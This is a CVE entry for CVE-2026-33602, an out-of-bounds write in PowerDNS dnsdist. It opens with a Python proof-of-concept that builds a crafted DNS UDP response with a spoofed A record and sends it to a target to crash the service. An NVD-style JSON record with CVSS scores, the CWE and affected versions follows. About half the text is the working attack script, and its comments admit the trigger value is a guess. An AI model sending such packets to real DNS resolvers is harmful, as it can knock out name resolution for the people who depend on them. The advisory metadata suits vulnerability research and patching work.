CVE-2026-33602

import socket import struct # PoC for CVE-2026-33602: PowerDNS dnsdist Out-of-bounds Write # This script sends a crafted UDP response to trigger the off-by-one vulnerability. # Note: You need to know the target's configuration for max-outstanding to set the correct ID. TARGET_IP = "127.0.0.1" TARGET_PORT = 5353 # Default dnsdist port might vary # Constructing the malicious DNS response packet # Transaction ID: In a real attack, this should be (max_configured_value + 1) # For demonstration, we use 0xFFFF which might trigger boundary checks if max is close. transaction_id = 0xFFFF # DNS Header flags = 0x8180 # Standard response, recursion available questions = 1 answer_rrs = 1 authority_rrs = 0 additional_rrs = 0 header = struct.pack("!HHHHHH", transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Question Section (dummy) qname = b"\x03www\x07example\x03com\x00" qtype = 1 # A Record qclass = 1 # IN question = qname + struct.pack("!HH", qtype, qclass) # Answer Section answer_name = 0xC00C # Pointer to qname answer_type = 1 answer_class = 1 answer_ttl = 3600 answer_len = 4 answer_data = b"\x01\x02\x03\x04" # Spoofed IP answer = struct.pack("!HHHIH", answer_name, answer_type, answer_class, answer_ttl, answer_len) + answer_data payload = header + question + answer try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print(f"[+] Malicious packet sent to {TARGET_IP}:{TARGET_PORT} with Transaction ID: {hex(transaction_id)}") print("[+] Check if dnsdist crashes or becomes unresponsive.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close()

{"cve": {"id": "CVE-2026-33602", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:16:54.537", "lastModified": "2026-04-24T18:52:25.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A rogue backend can send a crafted UDP response with a query ID off by one related to the maximum configured value, triggering an out-of-bounds write leading to a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.13", "matchCriteriaId": "DCC2DF11-EC5C-4112-90F2-C266CB65D390"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.4", "matchCriteriaId": "29865EC6-C1A0-40F3-B0BB-7F71F9C1DCB7"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-04.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}